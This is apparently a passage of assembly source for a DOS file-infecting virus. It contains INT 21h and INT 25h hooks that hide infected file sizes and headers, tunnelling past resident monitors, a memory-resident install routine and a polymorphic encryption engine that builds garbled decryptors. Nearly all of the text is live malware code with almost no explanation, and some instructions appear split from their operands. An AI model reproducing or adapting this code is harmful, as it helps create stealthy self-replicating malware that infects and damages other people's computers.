and cx, cx ;file opened DOIF Z aft_3D: xchg bx, ax IfInfJump Handle ;patch SFT size call get_sft mov byte ptr es:[di.sf_name], 0 mov word ptr es:[di.sf_size.hi], dx mov word ptr es:[di.sf_size.lo], ax DONE ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+bfr_3F: ;ret call get_sft test byte ptr es:[di.sf_mode], 3 GOIN NZ cmp word ptr es:[di.sf_position.hi], 0 GOIN NZ mov ax, word ptr es:[di.sf_position.lo] mov [beg_pos_lo], ax cmp ax, 18h DOIF AE call noff DONE IfInfJump Handle call save_seek ;if (cx > f_real_size-pos) cx := f_real_size-pos sub ax, [saved_seek.lo] sbb dx, [saved_seek.hi] DOIF Z MIN <cs:[st_cx]>, ax ;_CX DONE ret ;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+aft_3F: ;ret mov word ptr [st_rd_off], dx mov si, ds ;si:di - buffer mov cx, 1Ch sub cx, [beg_pos_lo] MIN cx, ax ;ax - delta pos mov word ptr [rd_st_cnt],cx IfInfJump Handle ;-+------------------------------------------------------------------------+call get_sft ;dx:ax - original size, inc byte ptr es:[di.sf_size.1] ;add 100h push si call restore_header dec byte ptr es:[di.sf_size.1] ;sub 100h pop es ; DOIF NC ; mov es, si ;es:di mov cx, [rd_st_cnt] mov di, [st_rd_off] lea si, [vir_heap._exehdr] add si, [beg_pos_lo] rep movsb ; DONE ret ;-+------------------------------------------------------------------------+-

;-+------------------------------------------------------------------------+bfr_42: cmp al, 2 ;seek_end DOIF E call seek_end call Stealth_Seek ;seek to fake end dec cs:[st_ax] ; mov ax, 4201h DONE retn ;-+------------------------------------------------------------------------+pblabel Stealth_Seek ;dx:ax => cx:dx ifInfJump Handle mov cx, dx xchg dx, ax jmp dosseek ;-+------------------------------------------------------------------------+;comment # ;-+------------------------------------------------------------------------+bfr_4B: ;show block ; cmp al, 0DBh ; je goto_EXE mov [load_fname], dx mov [load_array], bx push ax call show_block pop ax test al, 1 ;if 4b01(3) need after DOIF Z pblabel noff mov byte ptr cs:retu, opJMPS ;continue21-retu-1 DONE retn ;-+------------------------------------------------------------------------+pblabel selector21 movseg ds, cs movseg es, cs mov al, ah add al, al ;hach xor al, ah mov di, 8 mov word ptr ds:[(di-8)+arena_owner], di ;cs lea di, functions mov cx, funcnt repne scasb jnz noff lea si, bfr_aft shl cx, 2 sub si, cx lodsw rol ax, cl xor ax, si mov [after_goto], ax ;bfr lodsw ror ax, cl add ax, si mov word ptr [after_dos_goto], ax ;aft ret ;-+------------------------------------------------------------------------+bfr_4A: bfr_48:

; ; ; ;

cmp al, 36h ;for 'Lingvo' compatible mov al, 0 DOIF NE mov byte ptr cs:[dos_cf], 0 ;al DONE

;-+------------------------------------------------------------------------+bfr_67: pblabel show_block ;ret ;int 2bh call find_mcb DOIF NE ;si=0 mov cx, ds sub bx, cx mov ax, ds:[si.arena_size] sub ax, bx mov cs:[si.arena_size], ax dec bx mov ds:[si.arena_size], bx mov al, byte ptr ds:[si.arena_signature] mov byte ptr ds:[si.arena_signature], 'M' mov byte ptr cs:[si.arena_signature], al DONE ret ;-+------------------------------------------------------------------------+aft_4B: mov dx, [load_fname] call loadprog ;-+--hide_block------------------------------------------------------------+aft_48: aft_67: aft_4A: ;ret ;int 2bh pblabel hide_block call find_mcb DOIF E mov ax, cs:[si.arena_size] inc ax add ds:[si.arena_size], ax mov al, byte ptr cs:[si.arena_signature] mov byte ptr ds:[si.arena_signature], al DONE ret ;CRPROC find_mcb, 227Dh ;return ds pblabel find_mcb sub si, si mov ah, 52h call DosCall ;es:[bx][2] - root mcb mov ax, es:[bx][-2] mov bx, cs DO mov ds, ax add ax, word ptr ds:[si.arena_size] inc ax cmp ax, bx CYCLE B ret ;endp ;-+------------------------------------------------------------------------+-

pblabel loadprog ifInfJump Name ; ; mov si, word ptr [exehdr.exe_CS] mov di, word ptr [exehdr.exe_SS] push word ptr [exehdr.exe_CS] push word ptr [exehdr.exe_SS] push es call restore_header call dosclose pop es pop di si mov bx, [load_array] sub si, word ptr [exehdr.exe_CS] sub di, word ptr [exehdr.exe_SS] sub word ptr es:Exec1_CS[bx], si sub word ptr es:Exec1_SS[bx], di mov si, word ptr [exehdr.exe_IP] mov di, word ptr [exehdr.exe_SP] mov word ptr es:Exec1_IP[bx], si mov word ptr es:Exec1_SP[bx], di @ret: ret ;loadprog endp ;-+------------------------------------------------------------------------+-

bfr_4C: bfr_00: IF @Cpu AND 1 ;x86 push offset noff ELSE ;8086 lea ax, noff ;call aft_49 push ax ;jmp noff ;ret ENDIF bfr_31: aft_31: aft_49: ;ret ;time_test ; call get_cur_time ; sub ax, [last_infect_time] ; cmp ax, INTERVAL_INFECT ;0.5 ¬; jl @ret call no_freq_proc mov mov int cmp jne mov call push mov mov call mov call push mov mov cs:arena_owner, 8 ax, 1600h ;test for MS win 2Fh ax, 1600h @ret ax, 5802h DosCall ax bx, 1 ax, 5803h DosCall ax, 5800h DosCall ax bl, 82h ;high UMB use ax, 5801h

; ; ; ; ;

call DosCall mov ah, 48h mov bx, all_memory_size_p-1 call DosCall DOIF NC sub di, di dec ax mov es, ax mov bx, cs cmp ax, bx DOIF B mov es:[di.arena_owner], di DOELSE mov cs:[di.arena_owner], di lds si, dword ptr cs:offset25 mov word ptr ds:[si+3], es ; call DONE DONE mov pop call mov pop jmp virus_move


ax, 5801h ;restore bx DosCall ax, 5803h ;restore bx DosCall

;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+pblabel save_seek push ax cx dx call Dostell ;dx:ax - cur pos mov [saved_seek.lo], ax mov [saved_seek.hi], dx pop dx cx ax ret ;save_seek endp ;-+------------------------------------------------------------------------+pblabel restore_header ;dx:ax - original size ;int 2bh push ax dx call save_seek call crypt_exe_header pop call lea mov call call lea lea mov rep cx dx DosSeek ;seek dx, [heap] ;[exehdr.exe_len_mod_512] cx, 16h DosRead heap+16h si, [heap] di, [vir_heap._exehdr.exe_len_mod_512] cx, 16h/2 movsw

pblabel restore_seek mov dx, [saved_seek.lo] mov cx, [saved_seek.hi] jmp dosseek ;restore_seek endp

;restore_header endp ;**************************************************************************** pblabel p1 lds si, dword ptr [save_sp] lds si, dword ptr ds:[si+2] mov di, 0ch push si call calculate_crc pop si cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Ch, 0D8h, 2Eh> JE tunnel_detect cmp_ax_CRC32w <6h, 1Eh, 55h, 57h, 56h, 52h, 51h, 53h, 50h, 8Bh, 0ECh, 0E8h> jne __retn tunnel_detect: ;íâ® ¢ë¯®«-ï¥âáï ⮫쪮 ¯à¨ ¯¥à¢®© ãáâ -®¢ª¥ ¢¨àãá ¢ ¯ ¬ïâì movseg es, ss mov cx, 11d lea di, continue21 rep movsb sto_byte opJMPFAR mov ax, 1600h ;â¥áâ - *®àâ®çª¨ int 2Fh cmp ax, 1600h jne __retn mov ax, 3305h ;if BOOT-drive A: or B: int 21h sub dl, 3 jc __retn push ds ;DS:SI - end of tunnel, (so21+TUNNELSIZE) ;--------------------------------------------------------------;test for popup program mov di, 2 mov ds, di mov ax, word ptr ds:[(08h*4+2)+(di-2*11h)] cmp ax, word ptr ds:[(13h*4+2)+(di-2*11h)] PASS NE cmp ax, word ptr ds:[(28h*4+2)+(di-2*11h)] DOIF E no_stay_resident: pop ds __retn: ret DONE ;--------------------------------------------------------------mov ah, 2Fh int 21h ;get DTA push es bx movseg ds, cs lea dx, [vir_heap._exehdr] mov ah, 1Ah int 21h ;set DTA call get_own_name ;ds:dx -curname mov ah, 4Eh int 21h ;find first pop dx ds mov ah, 1Ah int 21h ;set DTA mov ah, 2Ah int 21h ;get system date

xor and jz mov int

dx, [exehdr.find_buf_date] dx, 18h ;week only no_stay_resident ah, 51h 21h

mov es, bx ;es- current PSP dec bx mov ds, bx ;ds- current MCB mov bx, ds:[arena_size] ;ds- size of current block sub bh, (all_memory_size_p shr 8) mov ah, 4Ah int 21h ; increate current block size mov ah, 48h mov bx, all_memory_size_p-1 int 21h ; allocate memory for virus jc no_stay_resident ;cannot allocate memory for virus cmp word ptr es:[0], 20CDh DOIF E sub byte ptr es:[PDB_block_len+1], (all_memory_size_p shr 8)+1 DONE dec ax pop es ;o21 ;so21 -> es:di ;si=o21+0Ch lea di, [si-11d] ;[si-TUNNELSIZE] xchg dx, ax ;ax - future virii segment ;get so25 (ds:si) mov si, 8 mov ds, si lds si, ds:[si][25h*4][-88h] ;so25 -> cs:[offset25] ;int 2bh mov cs:[offset25.lo], si ;ds:si = so25 mov cs:[offset25.hi], ds ; ;store (2Eh, 0FFh, 1Eh, o21+7, 0C7h, 6, o25, s25) -> [so21] ;write TUNNEL sto_byte 2Eh sto_two_byte 0FFh, 1Eh lea ax, [di-3+5] mov [hook], ax inc ax inc ax stosw sto_two_byte 0C7h, 6 sto_word_ si ;o25 sto_word_ ds ;s25 ;move5 [so25] -> ss:(cs:)five_bytes lea di, [vir_heap._five_bytes] movseg es, ss movs5 ;store (0EAh, memory_virentry, AX) -> [so25] movseg es, ds ;s25 lea di, [si-5] sto_byte opJMPFAR sto_word_ <offset memory_virentry> xchg dx, ax ;ax - future virii segment stosw mov es, ax ;es - future virii segment ;----move virus to new location------------------------------------------+;----setup incubator-----------------------------------------------------+call get_cur_time add ax, INCUB_TIME

mov cs:[last_infect_time], ax pblabel virus_move mov di, VIRUSSTACKSIZE mov si, di lea cx, [heap] ;virus_size segcs rep movsb ; $BEEP$ no_stay: ret ;**************************************************************************** ;**************************************************************************** pblabel trace_cpm mov cx, 1919h push cs push sp ;fake push cx ;for enable trace flag push 0Ch ; ;PUSH 0 1 b push 0 ;push 0 ;PUSH C0h b0 10 ;pblabel ent24 ; mov al, 3 iret ;execute CP/M command ;**************************************************************************** ;**************************************************************************** pblabel tmp1 mov cs:[vir_heap._after_goto], offset p1 call user_proc iret ;**************************************************************************** ;**************************************************************************** pblabel call_real_25 pushf push es di si les di, dword ptr cs:[offset25] lea si, [vir_heap._five_bytes] cld SEGCS movsw SEGCS movsw SEGCS movsb pop si di es popf mov cs:[vir_heap._abs_read_drive], al db 09Ah ;call [RealInt25h] pblabel offset25 dd ? pushf push es di ax les di, dword ptr cs:offset25 cld mov al, opJMPFAR ;jmp far stosb lea ax, memory_virentry ;stealth_abs_read stosw mov ax, cs stosw pop ax di es popf ret ;**************************************************************************** ;****************************************************************************

pblabel memory_virentry pop cs:[ret_sux] push cs:[ret_sux] push ax mov ax, cs:[vir_heap._hook] cmp ax, cs:[ret_sux] pop ax DOIF NE ;"25" call call_real_25 DOIF NC mov cs:[vir_heap._after_goto], offset st25 ;-bfr_base call user_proc DONE ;*encrypt memory************************************************************* retf ;sssuxx db ? DONE pop dword ptr cs:[ret_hook] add cs:[ret_hook.lo], 6 ; mov cs:[sssuxx], ah ; cmp ah, 4Fh ; DOIF E ; int 2bh ; DONE cmp ah, 51h ;reENTER virus, need for DRDOS DOIF E continue21_1: jmp continue21 DONE mov cs:[vir_heap._after_goto], offset selector21 mov byte ptr cs:[retu], opCMP_ALimm ;retu_off-retu-1 call user_proc ;selector; write new after_goto mov byte ptr cs:[dos_cf], r2-r1 call user_proc ;before DOS of double selector pblabel retu jmp SHORT continue21_1 ; jmp continue21 ;*encrypt memory************************************************************* ;**************************************************************************** ;**************************************************************************** ;pblabel retu_off call DosCall ;DOS db opSEGCS, 0C7h, 06h dw vir_heap._after_goto pblabel after_dos_goto dw UNINIT db 72h ;jc pblabel dos_cf db r2-r1 pblabel r1 call user_proc ;after DOS pblabel r2 sti ;!!!!!!!!! ;*encrypt memory************************************************************* retf 2 ;**************************************************************************** ;**************************************************************************** pblabel DosTruncate sub cx, cx pblabel doswrite_from_heap lea dx, [heap] ;from heap

jmp doswrite ;-+------------------------------------------------------------------------+pblabel DosWrite_shbuf_22 mov cx, HDRBUFSIZE pblabel DosWrite_shbuf lea dx, [vir_heap._ziphdr] pblabel DosWrite mov ah, 40h jmp DosCall_exc ;-+------------------------------------------------------------------------+pblabel read_buf_22 mov cx, HDRBUFSIZE pblabel read_buf_cx lea dx, [vir_heap._shift_buffer] pblabel dosread mov ah, 3Fh pblabel DosCall_exc call DosCall jnc $$ret ;®¡à ¡®âª ®è¨¡®ª „Ž‘ (?) ;int 2bh ; cmp [close_on_error], 3eh ;3e-no close ; DOIF NE ; call dosclose ; DONE jmp rt_err ; ¢®ááâ -®¢¨âì SP ¨ ¢¥à-ãâìáï ¢ userproc ;-+------------------------------------------------------------------------+pblabel dosclose mov ah, 3Eh ; mov [close_on_error], ah jmp DosCall_exc ;**************************************************************************** ;**************************************************************************** pblabel dostell xor dx, dx pblabel dosseek_cur_cx_0 xor cx, cx jmp dosseek_cur ;-+------------------------------------------------------------------------+pblabel dosseek_cur_neg_ax xchg dx, ax pblabel dosseek_cur_neg_dx neg dx jns dosseek_cur_cx_0 ; if dx > 0 ;-+------------------------------------------------------------------------+pblabel dosseek_cur_cx_1 mov cx, -1 pblabel dosseek_cur mov al, 01h jmp DosSeek_all ;-+------------------------------------------------------------------------+pblabel dosseek_bof sub dx, dx pblabel dosseek_cx_0 sub cx, cx pblabel dosseek mov al, 00h pblabel DosSeek_all mov ah, 42h pblabel DosCall pushf

push cs call continue21 $$ret: ret pblabel seek_end mov al, 02h ;seek_end xor dx, dx xor cx, cx jmp DosSeek_all ;dx:ax - filesize ;**************************************************************************** ;**************************************************************************** pblabel calc_hdr_pages mov cx, 200h ; dx:ax - new size and dx, 0fh div cx mov [exehdr.exe_len_mod_512], dx ;ostatok add dx, -1 ;dec dx ? adc ax, 0 mov [exehdr.exe_pages], ax ret ;**************************************************************************** ends end virus_entry include zurich.asi code segment byte public assume cs:code, ds:code, es:code, ss:code extrn offset25 :dword extrn call_real_25 :near extrn restore_header :near extrn stealthname :near extrn test_size :near extrn doscall :near extrn get_sft :near extrn dosread :near extrn heap :near extrn dosclose :near extrn vir_heap :near ;-+------------------------------------------------------------------------+;-+-[ stealth 25 ]---------------------------------------------------------+;-+------------------------------------------------------------------------+;-+------------------------------------------------------------------------+; dir entry stealth ; DS:SI = @dir_size_h ;-+------------------------------------------------------------------------+pblabel Stealth_Abs ifInfJump Buf mov ds:[si+(dir_size_l-dir_size_h)],ax ;stealth patch size in dir entry mov ds:[si+(dir_size_h-dir_size_h)],dx ret ;-+------------------------------------------------------------------------+; exe header int25 stealth ? ;-+------------------------------------------------------------------------+pblabel Stealth_Abs_r ifInfJump Buf push ds MOVSEG ds, ss push ax dx ;real file size lea dx, file_for_fake_open mov ax, 3D40h ;open readonly

call DosCall xchg bx, ax ; DPB offset in AX pop dx ax DOIF NC push bx ;handle call get_sft ; mov es:[di.sf_position.lo], ax ; mov es:[di.sf_position.hi], dx push ax dx ;file size inc ah mov es:[di.sf_size.lo], ax mov es:[di.sf_size.hi], dx mov dl, [abs_read_drive] ;<<<<< gluk and byte ptr es:[di+5], 11100000b add byte ptr es:[di+5], dl inc dx ;future: flop no stealth ? (to slow) mov ah, 32h call DosCall mov es:[di.sf_devptr.lo], bx mov es:[di.sf_devptr.hi], ds xor cx, cx mov dx, [start_sec.hi] mov ax, [start_sec.lo] sub ax, ds:dpb_first_sector[bx] sbb dx, cx mov cl, ds:dpb_cluster_mask[bx] inc cx div cx and dx, dx ;if DX != 0 - error DOIF Z inc ax inc ax mov es:[di.sf_firclus], ax mov word ptr es:[di+35h], ax DONE pop dx ax ;file size pop bx push si call restore_header pop di scasw ;add di,2 pop es push es lea si, [heap] mov cx, 16h/2 rep movsw call dosclose DONE pop ds ret file_for_fake_open equ StealthName ;-+------------------------------------------------------------------------+; test after absolute read for exe-header & dir entry ;-+------------------------------------------------------------------------+pblabel st25 mov si, bx xor ax, ax ;AbsDisk_start_sect.hi cmp cx, -1 ;(inc cx, jz)? DOIF E mov dx, ds:[bx.AbsDisk_start_sect.lo] mov ax, ds:[bx.AbsDisk_start_sect.hi] lds si, ds:[bx.AbsDisk_buffer] DONE ;here, DS:SI - read buffer

mov [start_sec.hi], ax mov [start_sec.lo], dx push si lea di, [vir_heap._exehdr] MOVSEG es, cs mov cx, HDRBUFSIZE/2 rep movsw pop si call Stealth_Abs_r DO lodsb ;1 cmp al, 0 DOIF Z end_search: ret DONE mov cx, 10d DO lodsb ;0B cmp al, ' ' jb end_search ;no_dir_entry CYCLE LU lodsb ;attr of file ;15 mov cx, 10d DO lodsb ;16 cmp al, 0 ;unused, must be zero jnz end_search ;no_dir_entry CYCLE LU add si, 6 lodsw ;dir_size_l call test_size DOIF Z mov dl, [abs_read_drive] ; = $-1 inc dx ;future: flop no stealth ? (to slow) push ds mov ah, 32h call DosCall mov cl, ds:dpb_cluster_mask[bx] mov ch, 0 inc cx mov bx, ds:dpb_first_sector[bx] pop ds mov ax, ds:(dir_first-dir_size_h)[si] dec ax dec ax cwd mul cx add ax, bx adc dx, 0 ;dx:ax-first sector push ds MOVSEG ds, cs lea bx, [heap] mov word ptr [bx.AbsDisk_start_sect.lo], ax mov word ptr [bx.AbsDisk_start_sect.hi], dx mov word ptr [bx.AbsDisk_sect_num], 1 mov word ptr [bx.AbsDisk_buffer.lo], bx mov word ptr [bx.AbsDisk_buffer.hi], ds mov al, [abs_read_drive] mov cx, -1 call call_real_25 push si mov cx, HDRBUFSIZE/2 lea si, [heap]

lea movseg rep pop pop call

di, [vir_heap._exehdr] es, cs movsw si ds Stealth_Abs

DONE lodsw CYCLE ;-+------------------------------------------------------------------------+ends end code segment byte public assume cs:code, ds:code, es:code, ss:code INCLUDE ZURICH.ASI extrn extrn extrn extrn extrn extrn extrn extrn extrn .LALL pblabel crypt_exe_header ;int 2bh ; push ax dx ; call dosseek_bof ; call read_buf_22 ; pop dx ax mov si, [exehdr.exe_par_dir] shl si, 4 sub ax, si sbb dx, 0 pblabel crypt_exe_header_custom movseg ds, ss movseg es, ss ;int 2bh ; movseg ds, cs call RANDOMIZE lea si, [vir_heap._exehdr.exe_len_mod_512] lea di, [heap] mov cx, exe_rle_table-exe_len_mod_512 ;14h mov [engdata.zmefl], zmeflHDR jmp ZME_crypt_custom ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel ZME_crypt cld mov [engdata.zmefl], ax mov [_____], al call RND_INIT call get_cur_time mov [last_infect_time], ax mov si, VIRUSSTACKSIZE mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size pblabel ZME_crypt_custom dataencriptor start_data _____ heap vir_heap get_cur_time RANDOMIZE dosseek_bof read_buf_22 :near :near :byte :near :near :near :near :near :near

mov [engdata.datasize], cx mov [engdata.targetptr], di rep movsb ;copy data ;< set next version probabilitys [di-virs-VIRUSSTACKSIZE+prEXE]

mov [engdata.jmp_after_decrypt], 0 test [engdata.cur_cryptlevel], 80h jz ZME_crypt_ call ZME_crypt_ ;;;double crypt mov di, [engdata.targetptr] mov [engdata.jmp_after_decrypt], ax ; mov [engdata.datasize], cx add di, cx pblabel ZME_crypt_ push bx test [engdata.zmeflags], MASK EN_BFR_GARBL DOIF NZ call RND_GET_BYTE inc ah add [engdata.datasize], ax call shit_ax DONE ;----------------------------------------------------------------------------; ZME_INIT lea mov DO si, [vir_heap._engdata.cJMP_patch] cx, reg6- segm_IDT ; clear the work area with 0's

mov [si],ch ; inc si ; CYCLE LU pblabel bad_reg DO call RND_GET_THREE_BITS or al,010b ;AL := R_DX, R_BX, R_SI, R_DI cmp al,R_DX CYCLE E ; not R_DX lea bx, [vir_heap._engdata.reg0] mov cx, 7 jmp SHORT ffound DO DO lea si, [vir_heap._engdata.reg0-1] call RND_GET_THREE_BITS pblabel fill_registers inc si cmp si,bx EXIT E cmp al,R_SP REPEAT E cmp al,[si] jne fill_registers CYCLE pblabel ffound mov [bx],al inc bx CYCLE LU call mov call RND_GET_BYTE ; X < decriptor_data + initialIP [engdata.value_X],ax ; or X > decriptor_data+initialIP+datasize+2 RND_GET_BYTE ; Y < decriptor_data + initialIP - X

mov mov sub mov DOIF A DO

[engdata.value_Y],ax ; or Y > decriptor_data+initialIP+datasize+2-X cx, [engdata.datasize] cx, 20h ax, 3

call RND_GET cmp ax, cx CYCLE A or al,101b DONE mov [engdata.value_J], ax ;value_J := 1..datasize-0E

;----------------------------------------------------------------mov ax, di sub ax, [engdata.targetptr] push ax ; cmp byte ptr [engdata.zmefl+1], (zmeflOBJ shr 8) and 0FFh ; DOIF E ; lea si, PMtest ; mov cx, 0Fh ; rep movsb ; DONE ;IRP foo, <50,B8,86,16,CD,2F,58,75,06,5F,55,8B,EC,FF,E7> ;sto_byte 0&foo&h ;ENDM ;store test for PM ;mov ax,1600 (1686) ;int 2f ;cmp ax,1600 ;je real ;pop di ;push bp ;mov bp,sp ;jmp di ;real:

; 0B8h, 86h, 16h, 0CDh, 2Fh, 75,

test [engdata.zmeflags], MASK EN_SAVE_REGS DOIF NZ IFDEF USE_PUSHA sto_byte opPUSHA ELSE mov cx, 7 lea si, [vir_heap._engdata.reg0] DO lodsb add al, opPUSH_AX stosb CYCLE LU ENDIF DONE mov lea DO push mov call pop cmp [engdata.useregs], REG_GARBL_ALL si, [di+4] si ax, 0Bh*2 force_not_branch_garble si si, di

CYCLE A mov cl, [engdata.zmeflags] IF EN_BFR_GARBL shr cl, EN_BFR_GARBL ENDIF and cx, MASK EN_BFR_GARBL DOIF NZ push cx call garble_more_reg_all call encode_int21 pop cx CYCLE LU ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ;**************************************************************************** ; ENCODE_CRYPT_ROUTINE ;**************************************************************************** mov [engdata.useregs], REG_GARBL_ALL ; mov [engdata.begin_sub], 0 ;DON'T ENCODE CALL BACKWARD INTO DECRYPTOR lea si, [dataencriptor] mov cx, CRYPTLEVEL*4 DO mov byte ptr [si], opNOP inc si CYCLE LU mov byte ptr [si], opRETN call garble_more test [engdata.zmeflags], MASK EN_RELOCATOR DOIF NZ ; encode relocator sto_byte opCALL call RND_GET_THREE_BITS inc ax stosw mov [engdata.relocator_base], di call SHIT_AX call garble_more mov al, [engdata.reg0] add al, opPOP_AX ;pop r0 stosb call garble_more call encode_reloc_patch mov [engdata.reloff_1], di stosw call encode_reloc_patch mov [engdata.reloff_2], di stosw DONE call garble_more mov cl, [engdata.reg0] call encode_zero_reg ;encode MOV IDX ,0 call garble_more mov cl, [engdata.reg2] ;encode MOV TMP1, some call encode_mov mov [engdata.start_reg2], di stosw call garble_more mov cl, [engdata.reg3] ;encode MOV TMP2, some call encode_mov mov [engdata.start_reg3], di stosw call garble_more mov [engdata.loop_top], di ;loop peak

call mov call call mov call mov neg push mov call mov and DO

garble_more ax, [engdata.value_X] encode_add garble_more cl, 4 ; 87 or 8B encode_reg_mem ax, [engdata.value_X] ax ax ;-(X+1) bx, [engdata.reloff_1] encode_mem_access cl, [engdata.cur_cryptlevel] cx, 7Fh ;mask ?

push cx mov [engdata.useregs], REG_ENC_ALL call encode_one_crypt mov [engdata.useregs], REG_GARBL_ALL pop cx cmp cl, 5 DOIF E call garble_more mov ax, [engdata.value_Y] call encode_add DONE CYCLE LU mov [engdata.useregs], REG_GARBL_ALL mov cl, 2 ; 87 or 89 call encode_reg_mem pop ax ;-(X+1) sub ax, [engdata.value_Y] push ax ;-(X+Y)

;SET USED 1..3 ;SET USED 4..6

;SET USED 4..6

mov bx, [engdata.reloff_2] call encode_mem_access pop ax ;-(X+Y) sub ax, [engdata.value_J] ;-(J+X+Y) call encode_add ;*************************************************************************** ; encoding GOTO loop_top ;*************************************************************************** mov [engdata.useregs], REG_GARBL_ALL or MASK REG_ENC ; mov al, opJC ;encode JC ; call do_cond_jmp ;JC call many_nonbranch_garble ;Shit mov ax, [engdata.datasize] ; dec ax ; call encode_add ;ADD INDEX,value_J call finish_cJMP mov al, opJZ ;encode JZ ;JZ call do_cond_jmp ; call many_nonbranch_garble ;Shit ;**************************************************************;************* ; ENCODE JMP NEAR Loop_Top ; ;**************************************************************;************* call encode_jmp_near mov ax, [engdata.loop_top] xor bx, bx xchg bx, [engdata.nJMP_patch] add [bx], ax ;**************************************************************;************* mov [engdata.useregs], REG_ALL ;;SET USED 0..6 call finish_cJMP

call garble_more ; ;*ÂÂÂ*ÂÂ*Â***********Â******************************************************¿ ;*ÅÁÅÂÁÅ*Å***********Å******************************************************´ ;*Á*ÁÁ*Á*Á***********Á******************************************************Ù ;--------------------------------------------------------------------------;sto_two_byte 0cdh, 2Bh test [engdata.zmeflags], MASK EN_SAVE_REGS DOIF NZ IFDEF USE_PUSHA sto_byte opPOPA ELSE mov cx, 7 lea si, [vir_heap._engdata.reg6] DO std lodsb add al, opPOP_AX cld stosb CYCLE LU ENDIF DONE test [engdata.zmeflags], MASK EN_USE_JMPS DOIF Z sto_byte opRETN DONE call encode_jmp_near mov ax, [engdata.targetptr] add ax, [engdata.jmp_after_decrypt] mov bx, [engdata.nJMP_patch] add [bx], ax ;crypt data ;*ÅÅ**********************************************************************ÅÅ* ;*ÅÁ**********************************************************************ÅÅ* ;*Á**************************Á****************************---------push di mov di, [engdata.targetptr] mov si, [engdata.datasize] dec si xor bx, bx call RND_GET xchg ax, cx call RND_GET xchg ax, dx DO add bx, [engdata.value_J] sub bx, si DOIF C add bx, si DONE mov ax, [di][bx] call dataencriptor ;call encryptor mov [di][bx], ax and bx, bx CYCLE NZ mov si, [engdata.start_reg2] mov word ptr [si], cx mov si, [engdata.start_reg3] mov word ptr [si], dx pop di

;*************************************************************************** mov cx, di sub cx, [engdata.targetptr] pop ax pop bx ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;*Â********Å*******Â**************ÂÂ**************************************Â** ;*Å******Â*Á*******Å**************ÅÅ**************************************Å** ; À******Å*********Á *ÁÁ**************************************Á ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** pblabel encode_reloc_patch ;add cs:[r0.(offset addbuf1-relocator_base)], r0 call garble_more sto_two_byte opSEGCS, 01 mov al, [engdata.reg0] mov cl, 9 mul cl or al, 10000100b cmp al, (R_BX*9) or 10000100b DOIF NE xor al, 00000010b DONE stosb mov ax, [engdata.relocator_base] neg ax ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** pblabel encode_mem_access push ax add ax, VIRUSSTACKSIZE ;[engdata.sourceptr] and bx, bx DOIF NZ add [bx], di sub ax, [engdata.relocator_base] add ax, [engdata.targetptr] sub ax, VIRUSSTACKSIZE ;[engdata.sourceptr] DONE stosw pop ax jmp garble_more ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ** pblabel encode_zero_reg ;cl-register result - 2 byte stored call RND_GET_BYTE and al, 8 add al, 2Bh stosb ;store SUB | XOR R,R : 29, 2Bh, 31, 33 mov al, 9 ;cl-register mul cl or al, MASK M0D stosb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

